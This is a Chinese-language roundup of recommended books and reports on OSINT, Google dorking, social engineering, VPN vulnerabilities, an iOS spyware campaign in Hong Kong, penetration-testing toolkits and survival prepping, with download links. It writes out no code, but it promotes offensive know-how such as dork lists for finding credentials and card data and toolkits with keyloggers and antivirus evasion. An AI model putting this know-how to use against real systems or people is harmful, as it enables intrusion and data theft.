全球互连性已经大幅提高， OSINT可以产生新的有用的数据和情报见解；但是，它也会带来技术、政治、和道德方面的挑战，以及障碍。必须谨慎对待。

开源情报方法论是多个领域的综合：数据科学、统计学、机器学习、编程、数据库、计算机科学和许多其他领域，但是没有开源情报的总体统一理论。☞您的知识运用越灵活，做事的效率就越高；如果您和您的组织擅长联盟其他专业人士，也可以实现同样的成就。

您可以在这里下载这本书：https://t.me/iyouport/7068

下载：https://www.patreon.com/posts/38190201

多个民族国家高级持续性威胁（APT）参与者已将 CVE-2019–11510，CVE-2019–11539 和 CVE-2018–13379 武器化，以访问易受攻击的VPN设备。 加拿大网络安全中心发布了缓解3种主要VPN产品（PulseSecure®，Palo Alto GlobalProtect™ 和 FortinetFortigate®）中的漏洞的指南。#security

您可以在这里下载这份报告：https://t.me/iyouport/7078

下载：https://www.patreon.com/posts/38190248

《Hong Kong Users Targeted with Mobile Malware via Local News Links》

「图」

警告：恶意本地新闻链接旨在接管你的设备——

近期在香港发现了针对iOS用户的水坑攻击，该攻击于2020年1月首次启用。

该攻击设计了多个伪装成本地新闻页面的虚假网页，然后向其中注入了可加载iOS漏洞利用的 iframe。 该iOS漏洞利用旨在在从 iPhone 6S 到 iPhone X 的多种型号上利用易受攻击的iOS版本12.1和12.2。

访问者将感染iOS恶意软件，该间谍软件可以监视并完全控制设备。

这种恶意新闻链接被发布到各种论坛上。它控制受害者的手机，并窃取数据，包括：

- 硬件信息
- 联系人
- 钥匙串
- SMS消息
- 电话历史记录
- GPS位置
- 连接的Wi-Fi历史记录
- Safari和Chrome浏览器历史记录等
- 该恶意软件还通过以下方式报告设备的周围环境
- 扫描本地网络IP地址
- 扫描可用的Wi-Fi网络

⚠ 该攻击还采用了专门设计的模块，用于从QQ、微信和 telegram 等流行的通讯应用程序中窃取数据。

在这里下载这份报告：https://t.me/iyouport/7081

下载：https://www.patreon.com/posts/38190485

7、《Imagery Intelligence》

「图」

图像情报——

情报分为6种：# **SIGINT**：信号情报—— 从电子系统收集的数据（通过是秘密进行的，因为侵犯隐私权很可能违宪）就是类似棱镜的计划。MI5 最近终于承认其对国际权利组织 Privacy International 进行非法间谍活动，终于承认了：全球大规模监视系统是被用来对抗像你这样的民间社会。如今这些监视计划往往不涉及犯罪或恐怖主义，而是关于权力—— 关于对社会的控制；

- **OSINT**：开源情报—— 也就是我们推荐的民间独立调查，信息来自各种公开来源，只要掌握挖掘技术、精湛的逻辑分析和强大批判性思考能力，就能掌握公民权；
- HUMINT：人工情报—— 从人工来源收集到的情报，包括有意的和无意的（也就是线人）。其中无意的收集是指，比如信息源并非正式的线人，但其提供的信息真实可靠且对正在进行的调查有用；
- **IMINT**：图像情报—— 通过图像收集的数据，不管这些数据是照片、雷达屏幕或者其他表现形式；
- **GEOINT**：地理空间情报—— 从卫星、无人机和其他来源获取的情报，跟踪全球的安保相关的活动，并从中获取情报。往往与 IMINT 紧密相关；
- **MASINT**：测量和痕迹情报—— 几乎包罗万象。MASINT 情报来自不归于 SIGINT 或者 IMINT 的一切来源。

1. 《如何使用区块链追踪暗网服务交易》

- 《如何在区块链上追踪比特币交易？》
- 可能的安全漏洞《VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？》

1. 如何逃脱绑架；

- 如何躲避枪手；
- 如何制作简易的Taser枪；
- 如何欺骗人脸识别软件；
- 如何保护自己免受网络罪犯的侵害
- ……

1. 《攻防皆可用：GoogleDorking 高级运算符完整列表》

- 演示《谷歌甚至可以轻松搜到密码以实现入侵 ……如何做到这

件事？》
- 演示《如何在线搜出机密信息》

Google Dorks（Google Hacking）专门用于提取那些不容易找到的奇怪信息，尤其是遗落在互联网上的敏感信息；它曾经主要为道德黑客和渗透测试团队使用，但随着开源情报的普及化，大众也开始更多使用这种方法以更精准地获取想要的内容。

☞尤其是对于防御者来说，它很值得学习—— 如果您能快一步抢在恶意者瞄准您之前找到自己的漏洞，并及时补救，您的安全水准就能显著增强。

⚠下面即将上传的这份 *2019 Dorks 列表* 增加了许多新内容，可以帮您找到一些令人难以置信的信息，例如：电子邮件地址和邮件列表、登录凭据、敏感文件、网站漏洞 …… 甚至财务信息—— 比如来自支付卡的数据。

如果您想要了解基础部分，那么就是上面👆那些文章；而这份手册则更为深入。

您可以在这里下载：https://t.me/iyouport/7150

下载：https://www.patreon.com/posts/38192288

好啦就是这样！

是的，4月还没有结束，于是本月末尚未更新的内容将收集在下一期（5～6月版）中。希望您能获得更多期待的知识！我们下次见。〇

—— 持续更新中 ——

原文

IYP优秀书籍汇总2020（5～6□版）-完全免费下载 - iyouport

免费书和纪录片

【2020年6月30日存档】本系列内容每2个月更新一次

Hi，朋友！这里是2020的第三次汇总，5～6月版，您可以在下面回顾过往内容：

- 《IYP优秀书籍年度汇总2019—在线下载免费阅读》64本
- 《IYP 优秀书籍汇总2020（1～2月版）—完全免费下载》47本
- 《IYP优秀书籍汇总2020（3～4□版）—完全免费下载》14本

来看看本次汇总中有没有您感兴趣的内容？—— 20份材料。

1、《Science of Coercion: Communication Research & Psychological Warfare》

「图」

胁迫之术：传播学是如何变成武器的——

「图」

互联网时代的人们对心理战和信息战再熟悉不过了；史无前例的高速信息流动媒介的兴起伴随着批判性思考的衰落，令心理战达到了它“光辉的鼎盛时期”。

☞这其中传播学就是最重要的武器。

在社会科学领域内，早期的传播学并不是个起眼的学科，直到上世纪50年代，它摇身一变不仅成为了一个独立的学科，并且能授予博士学位；再后来，传播学开始承担着培养新闻记者、公关嘴炮、和广告营销等专业技能人才的任务—— 这些人才被称为 “意识形态工人”。

是什么导致了这一变化？谁在推动它？目的是什么？…… ☞这些问题的答案将能够帮助您理解和抵御今天蔓延全球的心理战、洗脑和操纵。

心理战是一种帝国的工具，而不是解决冲突的工具；其首要功能是压制和扭曲人民大众中非官方的传播活动，其中当然包括挑战帝国权威的异议。

等下 …… 这真的是传播学干的事？传播学教授可不是这么讲的。没错，传播学被改造了，被变成了武器—— 那些改造它的人积极地压制站在反对立场上的传播学观念，特别是那些被视为 “颠覆性的” 批判思想。

它直接修改了历史。

这些家伙是谁？他们用的什么手段？

这本书希望能解释以上所有这些问题。书本身并不厚，但是，其中包含大量的文件资料来源、还有曾经被雪藏的论文，可以将知识引导至更宽广的视野。

这些讨论非常敏感，无疑会惹恼那些满意于现存秩序的人，但是，它也肯定能给那些寻求真相和改变的人们带来希望。

- 不要错过我们的 列表-3 “□智”，其中包括 “□理战和信息战” 栏□

下面我们上传这本书。

☞ 不要错过：一份很棒的访谈，解释了很多问题《在线宣传战的结果》

您可以在这里下载这本书：t.me/iyouport/7172

下载：https://www.patreon.com/posts/38192547

2、纪录片——

「图」

送□个纪录□《The Minds of Men》，是对冷战期间社交□程学攻击和□理操控的实验和实践进□的为期3年的调查，具有惊□的洞察□。（长

达3□时40分）

3、《Social Engineering Hacking Systems, Nations, and Societies》

「图」

IYP有“社交工程”专栏，它被放到了 列表-5 “直接行动” 中。这是有目的的。

社交工程被认为是欺骗的代名词，但并非鼓励您以欺骗为武器加入行动；而是，正如所有防御方法一样，「对抗性思考方式」 能帮您获得更好的防御策划 ~ 用敌人的眼睛审视自己。

这不是说起来这么容易的。俗话说，神偷自己也可能被偷；同样，擅长欺骗的人自己也可能被骗。尤其是当对手使用专业性很强的社交工程伎俩时—— 由于它构建在基本人性弱点上，就是那种每个人都有的脑回路bugs，稍不留神就有可能中招。

👉这是2019的新书，作者 Michael Erbschloe 已经在该领域工作了30多年，目前他的主要研究方向是社交工程在互联网和社交媒体上的作用。这本书就是该主题的一部分。

社交工程的使用范围非常大，从进攻到防御，从恶意到善意，几乎全覆盖；政府间谍渗透活动家团体时主要使用的就是社交工程，公民调查人员挖掘政府操纵内幕的过程中也很可能需要使用到这种方法，以及，医生试图安慰患者冷静下来时、您哄女朋友开心时，用的都是这种技术……

在黑客领域，社交工程学是一种非常有效的攻击手段，超过**80**%的网络攻击以及超过**70**%的来自民族国家的骇客攻击 👉都是通过利用人的弱点、而不仅仅是计算机或网络安全漏洞，来发起和执行的。

👌因此，为了构建安全的网络系统，不仅需要保护组成这些系统的计算机和网络，而且，还必须教育和培训其人类用户具备充分的安全程序的所有知识—— 弥补人性bugs。

对人的攻击称为社交工程，它们操纵或诱导用户执行攻击者所需的动作或泄露敏感信息。

- 最一般* 的社交工程攻击只是试图使毫无戒心的用户点击恶意

链接；而 *更具针对性* 的攻击则企图从敏感组织中获取机密信息，或者通过骗取信任来窃取特定个人的最有价值的东西。这是一种心理战的特别用法，只是它的针对性更强。

社交工程攻击在互联网环境下会格外有效，是因为，在这里，攻击者可以省去传统社交工程手段所需要的很多道具和繁琐流程（从化妆到表演技艺），而互联网上的大多数人都不会亲自验证每一条通信。

👌这本书详细介绍了如何利用社交工程技术以超越黑客为渗透计算机系统所做的工作。尤其是，它解释了组织和个人如何才能通过改造其文化和使用方式，以帮助最大程度地降低诱导和操纵所造成的灾难。

也就是说，它可以帮助您构建可持续的安全性措施和战略，以响应和避免安全威胁。

希望这本书能对您有用。

您可以在这里下载这本书：https://t.me/iyouport/7176

下载：https://www.patreon.com/posts/38192629

4、《A Workbook for Arguments, Second Edition: A Complete Course in Critical Thinking》

「图」

反抗义务教 [洗] 育 [脑] 的最佳方式——

「图」

大众教育无法建立一个公平的社会，因为它坚持的实践是操纵竞争、压制和恐吓。学校的结构是拜占庭式的奖惩和威胁，胡萝卜和大棒。它们是奴役的工具，而不是自由的工具。

就如知名美国作家 John Taylor Gatto 所言，“ 学校旨在通过公式的应用来产生可以预测和控制其行为的公式化人类。”

听说中国也开始流行在家教育了？这是一个好的趋势，是对传统义务教育的反击。

👉在美国，选择退出传统教育的父母的数量也一直在增长。

现在是时候正确面对这样一个事实了：机构学校的教学对儿童具有破坏性。

美国教育部最新的家庭教育数据显示，**2016**年已经有近**200**万年轻人在家学习，而1999年只有850,000人。全国家庭教育研究所表示，今天的家庭教育数字要高得多，并且增长趋势仍在继续。

在美国，基层家庭教育网络正在发展，人们认为，随着学校变得更像小工厂、专注于合规，并非所有孩子都适应这种模式。儿童已经变得更加笨拙，越来越不会思考、缺乏个性。

一个人越是不尊重真正的教育，就越会受到自上而下的控制和束缚。☞如果任何人想要寻求对一个社会的完全控制，垄断教育都是第一要务。

让自己的下一代摆脱 matrix 并不那么容易；在一个严控出版物的国家想要实现这点就更不容易。

于是出于这个目标，今天介绍一些书（并上传其中一本），它们来自美国家庭教育社区和支持者提供的 “必读” 建议。也许您可以借此帮助您的孩子获得高质量的基础学习。

一共7本，它们分别是：

1、Socratic Logic V3.1 by Peter Kreeft Ph.D

2、The Trivium—The Liberal Arts Of Grammar, Logic & Rhetoric by Sister Miriam Joseph Ph.D.

3、How To Read A Book—The Classic Guide To Intelligent Reading by Mortimer J. Adler & Charles Van Doren

4、Philosophy 101—An Introduction To Philosophy Via Plato’s Apology by Peter Kreeft Ph.D

5、The Complete Workbook For Arguments—A Complete Course In Critical Thinking [2nd Ed.] by David R. Morrow & Anthony Weston

6、The Imaginative Argument—A Practical Manifesto For Writers by Frank L. Cioffi

7、Sherlock Holmes—The Complete Stories by Arthur Conan Doyle

下面我们将上传👆第五本书，原因很明显，*批判性思考* 是对抗操纵和诱导的关键—— 也是当前绝大多数义务教育都会忽略的东西。

于是，它不仅对您的孩子有益，对您也可能同样会有帮助。

- 不要错过 《摆脱操纵和宣传：28个长期技巧》

您可以在这里下载这本书：https://t.me/iyouport/7197

下载：https://www.patreon.com/posts/38192694

5、《Network Attacks and Exploitation: A Framework》

「图」

攻防路线图——

「图」

这本书提供了清晰、全面的路线图，以帮助您制定一套完整的攻防策略，针对骇客和计算机间谍活动—既可以进攻也可以防御。

👉 目标是：超越当下的单一技术以开发持久的综合性解决方案。

您将能找到有关策略、工具和实施的明确指南，尤其是，有关阻止系统性计算机间谍活动和政府、公司及个人盗窃信息行为的实用建议。

网络攻击和操纵遍布全球，最大的挑战之一是如何将越来越多的东西纳入到整个计划或框架中，以制定正确的策略来阻止这些攻击。

这本书概述了可行的方法、有效的工具、以及应用这些方法所需的资源，从而尝试消除混乱。

从基本概念开始，您将了解到：

- 系统性攻击的性质和工具；
- 检查进攻策略、以及了解攻击者将如何寻求保持优势；
- 了解防御策略，以及当前的方法如何难以改变战略平衡；
- …… 如何实践这些方法

如果您想要获得明确的路线图以提高网络安全性，这本书是比较实用

的指南。下面我们上传它。

您可以在这里下载：https://t.me/iyouport/7200

下载：https://www.patreon.com/posts/38192749

6、《Agent of Influence: How to Use Spy Skills to Persuade Anyone, Sell Anything, and Build a Successful Business》

「图」

如何使用间谍技巧说服任何人——

「图」

从情报官员开始接受培训的第一天起，他们就准备好了努力成为世界上最好的销售员。

但是，间谍不是在销售普通产品。他们销售的是：背叛—策反是间谍工作的重头戏。

这跟普通的推销大有不同，因为，一旦您搞砸了，就很可能被杀死，或在国外的监狱中度过余生。

背叛是最难卖的一种东西，主要是由于全世界对背叛的惩罚都是极为严厉和凶狠的，自古以来都是如此。

☞于是，每一个间谍都需要深悟以下原理：

- 要有足够的信心让人们在难以置信的短时间内完成任何请求，无论它有多么奇怪或多么疯狂。
- 要努力让自己被视为知己—— 每个人都想与之交往的那种人，包括那些满心都是秘密、担忧、甚至最黑暗的和恐惧的人，也能信任你。
- 巧妙地回应他人的行为，以展示出与目标的共同利益。
- 充满同情心，不要虚情假意，要真正关心你的目标。同情心是成功操纵他人的关键。
- 充分的侦查工作，尽可能了解全面的信息，以准备最合理的计划。
- 最高级别的实践纪律。情报人员是有条不紊的，敬业的和忠诚

的，他们努力时刻保持着最佳状态。
- 保持灵活的应变能力和协作能力。计划经常赶不上变化，但是任务必须坚持完成。

请注意，这 *并不是* 一本关于如何做间谍的书，而是，阐述了最科学有效的「社交工程思考方式和技巧」，它可以应用在包括日常防御、商业、人际经营 等等各种方面。其中部分技巧在我们的 “社交工程” 专栏中已经有过介绍。

操纵者要做的事其实很简单，就是想尽一切方法让你信任他，让你信任他超过信任你自己。但没人是傻子，要想做到这点，需要在很多方面下功夫 ……

未来我们还将以中文形式更多讲述这一问题。是的，它很复杂 ……

您可以在这里下载：https://t.me/iyouport/7219

下载：https://www.patreon.com/posts/38192798

7、《CQTools: The New Ultimate Hacking Toolkit》

「图」

新的终极黑客工具包——

「图」

CQURE 团队已经准备了一套渗透测试期间使用的工具，并将它们打包在一个名为 CQTools 的工具包中。

从嗅探和欺骗开始，通过信息提取、密码提取、自定义外壳程序生成、自定义有效载荷生成，从防病毒解决方案隐藏代码，到各种键盘记录程序 …… 该工具包可以在基础架构内进行全面的攻击。

其中一些工具基于 CQURE 团队的首次公开发布。

这本小册子提供了详细的技术说明，如果您感兴趣的话，完全可以试试看。

并且还有一个视频可以参照：

您可以在这里下载这本小册子：https://t.me/iyouport/7222

下载：https://www.patreon.com/posts/38193030

8、《The Internet Data Collection with the Google Hacking Tool White, Grey or Black Open-Source Intelligence?》

「图」

呆子是只会说真话的人——

「图」

GoogleHacking 的概念最早由 Johnny long 引入；而 Google Dork 最初是指无法保护在线内容的那种人。 Google 可以很容易地挖掘出这种无能。后来这个词的含义逐渐随着时间而改变，目前它指的是，从 **Google** 获得机密信息的人。

我们已经多次介绍过 dorking 的用法，它是开源情报收集的支柱之一。

👌不论是针对目标个人还是组织的深入挖掘、不论是对目标网络的窥探还是搜罗机密信息，Google Dork 都是一个强大的工具—— 完全免费，任何人都可以使用。

这份手册介绍了 **GoogleHacking** 的白色、灰色、黑色情报的操作方法，简单易懂。

获取那种不会引起道德和法律关注的数据的方法被称为 「开源白色情报」，包括搜索已删除的和存档的页面、搜索有关目标人的某些信息、以及其他实质性信息等。

「灰色情报」 指的是那些引起道德关注的信息—— 包括获取网站的作者和所有者（无意识地）留下的信息，有关网站结构的信息、以及服务器的配置参数等等。

所谓的 「黑色情报」—— 指的是比较激进的玩法，比如通过挖掘以获得内幕和机密信息、敏感的个人数据、以及程序和设备的配置参数的潜力。

总之，**GoogleHacking** 都能做到。

并且不仅谷歌有 dork，其他搜索引擎包括社交媒体平台搜索引擎，在此大同小异；比如我们介绍过的 tweetdeck 中使用的锁定目标方法等等。谷歌是其中最强大的。

换句话说，GoogleHacking 是您最好的防御工具 #对抗性思考方式，☞ 如果您使用 GoogleHacking 挖到了关于您自己和所在组织的致命信息，请迅速想办法删除/掩盖它们。

- 不要错过 《调查记者如何从社交媒体上挖掘情报？》

您可以在这里下载这份手册：https://t.me/iyouport/7243

下载：https://www.patreon.com/posts/38193081

9、《THE DOG WHISPERER'S HANDBOOK 3—A Hacker's Guide to the BloodHound Galaxy》

「图」

攻防之战——

「图」

对于防御来说，能够将新出现的攻击的捕获周期降到最低，是最终目的，这样不但能降低损害程度，而且补救成本也很低。

☞ 于是通过尝试入侵来进行测试，是防御工作的关键方法。

BloodHound 就是一个强大的内网域渗透提权分析工具，BloodHound 用图与线的形式，将内网域内的用户、计算机、组、会话控制、访问控制列表以及所有相关用户、组、计算机、登陆信息、访问控制策略之间的关系更直观的展现在分析人员面前，方便分析。

BloodHound 最令人兴奋的功能是能够识别攻击路径。对于这个概念，这种方法在 Active Directory 域权限提升方面有着令人难以置信的作用并且识别的结果也非常的可靠。

👆 作为防御者，BloodHound 可用于识别其环境允许攻击者进入域管理员的方式，并直接删除一些简单的路径。

由于 BloodHound 的渗透测试效果非常好，且非常隐蔽，因此攻击者

已经在琢磨如何来绕过它。这又是一场攻防对抗大战。

通过把检测过程移动到网络和AD事件日志，防御者可以保持隐藏状态。攻击者无法看到监控，甚至不知道正在受到监控，直到他们触发安全事件。

☞ 通过剖析 BloodHound 工具，您可以更好地理解它的功能，这就是这份手册希望能帮您做到的。它有很多图，以及简单轻松的语言风格，可以帮助您理解。

这份手册对 BloodHound3 做出了一些补充，如果您了解 BloodHound 那肯定会很棒，如果不了解也没关系，它会从头说起。

下面我们上传这份手册。

您可以在这里下载这份手册：https://t.me/iyouport/7246

下载：https://www.patreon.com/posts/38193143

10、《Hunting Cyber Criminals》

「图」

关于在线情报收集工具和技巧的黑客指南——

「图」

跟踪黑客时，用于收集、验证和关联来自不同类型系统的信息的技能和工具是一项基本功。

👆 这是2020的新书，它从多个角度全面探讨了「开源情报收集」的各种技巧，包括黑客和经验丰富的情报专家的观点。

凭借多年使用开源情报追踪黑客的经验，作者模拟了一些经典的实操情节，涉及寻找威胁行为者。这些令人激动的追踪调查故事可以帮助您对 **最新的** 开源情报工具和技术实现更深入的了解。

为了更好地使用这本书，您可能需要对 Linux 命令行有一些基本的了解。但是，即便您完全没有 Linux 或编程经验，也没有关系，它的注释很详细，您完全可以从这本书中学到很多东西。

比如：

- 了解最新的网络犯罪调查工具；
- 搜寻线索以发现和跟踪黑客，在任何地方；
- 搜索网络数据库以收集情报和线索；
- 使用社交媒体识别可能的犯罪者；
- 掌握复杂的网络场景和高级搜索技术；
- 如何运用专家提示结合您自己的调查技巧；
- 等等，更多！……

思考方式哦 ！思考方式是开源情报的灵魂。

您可以在这里下载这本书：https://t.me/iyouport/7266

下载：https://www.patreon.com/posts/38193265

11、《Secret Global Surveillance Networks: Intelligence Sharing Between Governments and the Need for Safeguards》

「图」

秘密监视网络：情报共享如何令跨国追捕和迫害变得异常容易——

「图」

我们在《新10年》中提到如何与IYP合作的话题，其中包括透明度革命方面，我们当时写道："如果您确信中美之间没有情报共享 ……"。

事实上我们也 … 诚实的说 … 不知道；不知道哪些国家之间存在情报共享，包括中美之间。

⚠ 这些秘密的情报共享协议和行为是实现跨国追捕和迫害的关键。

人们只能从表面上看到5、9、14眼的情报联盟的存在，但是，背后的细节，除了那些间谍之外，没有任何人能够了解它们。*包括各个国家的政府和领导人*。

因为这个世界上没有人能控制情报机构，包括总统和国会，都无法监督情报机构。这不是任何国家的特例。

我们称其为 "政府间谍"，似乎会产生一些误解，就好像这些家伙是在

政府的控制下行事的，一定程度上并非如此。正相反，政府/总统是在情报机构的 “控制” 之下；这种控制是隐含的，具有政变的操作性。未来将有一份详细访谈节目发布，来自全球最大情报机构之一的老牌技术总监，他将详细解释这件事。

但是今天的话题与权力斗争无关，而是，与你我的切身利益有关——⚠我们是否还能通过 “逃到其他国家” 以躲避本国政府的追踪迫害？

随着新型监视技术的兴起，「情报共享」已发生了巨大的变化，这使 **多个国家** 的政府能够收集、存储和共享大量的个人信息，包括通过大规模监视技术收集的数据。

但目前并没有适当的法律保障和监督机制来规范这些做法。

在电话窃听时代设计的保护措施如今已经无法在大规模监视时代使用。因为在当下时代，如您所知，政府越来越多地从绝大多数人（包括情报机构本身不感兴趣的人，也就是你我这些普通人）收集大量的数字信息。

⚠ 各国政府之间以 *各种方式* 共享情报—— 不只有表面上的协议，并且，政府还可以：

- 访问 “原始”（即未分析的）信息，例如直接针对另一国政府大量拦截互联网流量；
- 访问存储在另一国政府拥有的数据库中或与另一国政府共同管理的数据库中的信息；
- 接收另一国政府对信息的分析结果，例如以情报报告（情报产品）的形式 ……

等等。

⚠ 这对人权有着重大影响。情报交流不受管制的局面注定会助长严重侵犯人权的行为，例如 非法逮捕或拘留，酷刑和其他残忍、不人道或有辱人格的待遇。

这份报告基于42个国家的40个非政府组织的联合跨国调查，补充了很多新的知识—— 目前大多数人对跨国情报共享协议的理解已经落后了数十年 ……

该报告旨在解决情报共享安排的合法性和监管空白方面的建议，希望能帮助您了解这件事。

如果您不喜欢英文，可以期待我们的中文版在不久之后发布。

您可以先在这里下载这份报告：https://t.me/iyouport/7269

下载：https://www.patreon.com/posts/38193590

12、《Prepping, Homesteading, Adventure, Survival, SHTF and Self-reliance Dictionary》

「图」

生存指南1：给全世界想要活下来的人—陷入灾难的人、冒险家、行动者、以及任何希望自己有所准备的人——

「图」

直到面临灾难人们才开始意识到知识和技能的重要性，这是悲剧。

如果您平时有所准备，就不至于在灾难面前惊慌失措。那些没有预兆的威胁本身并不是最可怕的，您的惊慌和无力感才是。

智慧和敏捷的反应来自冷静和清醒，只有对知识技能的掌握才能帮您获得冷静和清醒。这需要平日的积累和训练。

我们曾经上传过匿名者撰写的生存知识手册，并且，未来我们将制作一套系列中文文章，提供一些很具体的防身技巧，以保护您的人身安全。

这些知识不能被称为“培训”，如果您没能亲自动手尝试并不断练习的话，虽然它们是培训资料；

☞ IYP提供的大部分内容—— 不论是网站还是频道—— 都不是那种“看看就行”的东西，它们都需要您亲自动手尝试，才能领略它的意义。我们不会说我们在“做培训”，因为我们不知道您是否真的操作了，并通过实践来掌握它们。我们只能做一半的工作，要让这些知识落到实处，还需要您的努力。

👌 实践中您将获得比书本网页所能呈现的更多的经验和灵感。

今天我们准备推荐的是另「一套」生存指南，不止一份哦，它们是非常切实的建议—— 关于公民的直接行动以抵抗灾难和危机的侵

袭，自给自足、彼此协助，亲手创造自己的安全，不再依赖中央政府的怜爱，后者将很可能不会令您满意。

今天，首先要上传的是一本词典，关于生存知识领域的术语和概念，这很重要。随着该领域中的知识越来越多，人们将不断面对那些极其陌生的名词和概念，这对掌握技能是个很大的阻碍。而这本书将尝试解决这一问题，帮助您整理尽可能多的相关名词概念，并将其解密，以协助您的理解。

它不会试图解释每个术语或概念，但可以使您对其有一个非常基本的了解。要详细说明每个术语都将需要大量的内容，并且在互联网上和其他任何书籍中都会很容易找到有关它们的足够多多的信息。于是，这本书是一个编译，它收集并整理了这些信息，并以一种可能对许多人有用的形式将它们组合在一起。

这将是一项持续不断的工作，到目前为止没有人可以声称 “我能做出完整版”。总会有新的信息、新的短语、新的术语和新的缩写词出现。于是它会不断更新。今天即将上传的版本已经足够您使用。

☞ 这套知识的其他部分明天将继续上传。

您可以在这下载：https://t.me/iyouport/7288

下载：https://www.patreon.com/posts/38193788

13、《Prepping Survival Guide For When SHTF》

「图」

生存指南 2：准备工作—— 必备品和重要储备

「图」

你可能没有欲望地生活，但不能没有需求地生活。

而这个社会擅长让你混淆这两者—— 他们提供了太多满足欲望的东西而不是需求，然后哄骗你，让你相信 “那是需求”。

他们给了你太多可利用的工具，结果就是，造成了一代又一代无用之人。

安装是一键式、菜肴是一烹得、拍照是傻瓜机、点击几下网页您能找到任何东西 …… 你什么都可以不会，也能活得像全能一样。

但是，您有没想过，任何一场战争、事故、灾难，顷刻间就能将这一切您熟悉的触手可及化为烟雾，那时候，您该怎么办？……

他们告诉您 “现代化是重要的”、“便利拯救生活”，但是，还有什么比生存更重要的呢？当便利没了，您的技能足够拯救生命吗？

生存，就是最基本的需求。

我们继续昨天的话题。

如果你所习惯的 **一切** 都被灾难摧毁了，会发生什么？你将如何生存？

如何寻找食物、水和住所？

如果你思考一下这个问题，你会意识到，这并不容易；这是一项日常工作，而不是直到危机出现才开始着手准备。

只有当您能时刻考虑到最坏的情况下可以如何应对时，最好的结果才值得期待。

如果发生地震、水灾、瘟疫流行、或其他意外事件，您不会希望自己措手不及的。

👌 这就意味着，如果你想获得生存的机会，你的首要任务就是掌握在没有任何舒适的生活条件下生存的艺术。

这本书将提供全面的信息，告诉您如何做到这一点。

- 您知道需要长期储备什么东西吗？
- 如果不再有干净的水可用，您知道如何自己动手收集水和净化水吗？
- 如果房子倒塌了，您可以给自己制造一个安稳的临时避难所吗？
- 您知道自己必须扔掉什么吗？不论它们对您有多“重要”？
- 您知道必须携带什么吗？那些您肯定会用得到的东西、包括药物—可能并非常规药物……
- 灾难后最严重的问题是疾病的暴发，您将如何在一无所有的情况下保证个人卫生和消毒措施以避免流行病？

……

以及更多。

在读过本书后希望您可以掌握所有这些技能。

下面我们上传它。本套资料的其余内容我们将在接下来的日子里陆续上传。

您可以在这里下载：https://t.me/iyouport/7291

下载：https://www.patreon.com/posts/38193959

▸ 想必很多人都已经知道著名的 **29Leaks**—— 这是2020年最具影响力的机密泄漏，不亚于“巴拿马文件”；

这些泄漏正在帮助调查者揭露秘密 #离岸公司 的所有者、以及其中一些所有者涉嫌的犯罪活动。

29Leaks 完整版超过1000万封电子邮件，现在，您也可以随意搜索，在这里：https://hunter.ddosecrets.com/datasets/7

▸ 斯诺登解释过 **telegram** 为什么不够安全（IYP也解释过，以及相关的攻击分析）

如果您已经使用 telegram 很长时间，您可能需要清理一下旧消息；这里推荐一个工具；

默认情况下，它将帮您删除所有早于24小时的消息，包括私密通话内容；只保留当天的通话，在这里：https://github.com/seabasssec/del_my_message

▸ 推荐一个新的洋葱搜索引擎 Dargle。目前它可以索引40000多个域。如果您正在查找暗网上的特定站点，也许可以试试这个：

http://www.dargle.net/

14、《Beginning: SHTF Prepping: The Ultimate Prepper’s Guide To Water Storage, Food Storage, Canning, And Preserving (SHTF, Stockpile, Barter, Homesteading, … Cookbooks, Economic Collapse,)》

「图」

生存指南 3：技能训练营——

「图」

做好准备并不意味着害怕或偏执，而是要注意安全、是要有能力保护您自己和家人，并能经受住任何风暴的考验，无论多么艰难。

在今天的现代社会，人们每时每刻都期待着货架上有干净的食物，水龙头里有可饮用的水。 但是，事实并非总是如此，也不会一直如此。 内乱、自然灾害、网络战 **……** 可能会在顷刻间让你的城市或国家的基础设施在你眼前轰然倒塌。

当没有食物，水停了，当你的电灯一闪一闪地熄灭时，你准备好了吗？

👌 这本书是 「生存技巧」 系列的重要部分，将为您的家做好准备。 对于不知道如何开始准备的初学者来说，这是一个很好的资源，也为那些不知道从哪里开始准备的高级行动者提供了方向。

👉 这本指南也是一本有趣的DIY书—— 如果您喜欢修修补补或制作东西，这里有24个想法，无论您是否相信自己，都可以亲自尝试一下。 从生物过滤器到蒸馏器，从重力式灌溉系统到手工泵 …… 每周一个项目，每月四个项目，共24个项目，为期6个月。

每一章对应一个月，并有一些共同的主题，注重免费和廉价的解决方案，野外生存和家庭建设只是本书中的部分主题。

它还会尽可能地将各个项目相互联系起来，这样您就不会只看到二十四个独立的项目，而是几个大型的项目，一个接一个地建立在一起。 几个月后，您就会明白这意味着什么了。

所以，不用担心。 这些**DIY**项目将帮助您节省资源，降低能源费用，并给您动手实践的机会。

- 如何收集、储存、过滤和处理雨水
- 自给自足在家种植的方法
- 充分利用阳光的最佳方法—免费资源
- 荒野求生，应对最坏的紧急情况
- 手工打造石器的技巧

- 防备内乱和灾难的家庭施工技术
- 如何用常见的五金件制作一个手摇泵
- 没有电的时候，如何照明的方法
- 如何在没有冰箱的情况下冷却食物
- …… 以及更多！

所以，请放松心情，行动起来！做好准备。 在接下来的半年时间里，您的生活将非常充实 ……

您可以在这里下载：https://t.me/iyouport/7319

下载：https://www.patreon.com/posts/38194038

15、《How to Hack Wireless Network, Basic Security and Penetration Testing, Kali Linux, Your First Hack》

「图」

黑客主义行动力—— 作为开端的入门手册

「图」

像人类历史上任何一种技术进步一样，人类从计算机化和数字化中获得的好处是有代价的。

我们能够储存和传输的信息越多，就越容易被窃取或破坏。生活越是依赖于技术的高效快速和便捷，失去这些能力的后果就越大。 数十亿美元在眨眼之间被转走不是仅可能的，而且事实上是家常便饭。

计算机黑客已经成为一个价值数十亿美元的全球产业—— 不仅是犯罪行为本身，而且是保护信息和资源的时间、精力和资本。

但是，👉 并非所有的黑客都是恶意的。在言论自由受阻或法律压制的国家，黑客的目的是在民众中传播通常可能被专制政权压制或审查的重要信息。

虽然他们的活动在大部分国家的法律中仍然是非法的，但许多人都认为他们是为道德目的而服务。

因此，👌 当涉及到以政治抗议活动为目的的黑客活动、或传播可能对

公众或被压迫人群有价值的信息时，道德的界限往往是模糊的——也是为什么我们说“黑客主义”话题充满争议，但我们依旧要涉及这一领域的内容，因为它是一条反抗之路。

为了限制那些意图不那么光明正大的个人和团体可能造成的损害，就有必要让更多人掌握黑客的工具、程序和思维方式。

👌 计算机黑客具有高智商、足智多谋、超级的应变能力、和极强的毅力。他们中的佼佼者一直以来都是如此，而且很可能会继续领先于挫败他们的努力。

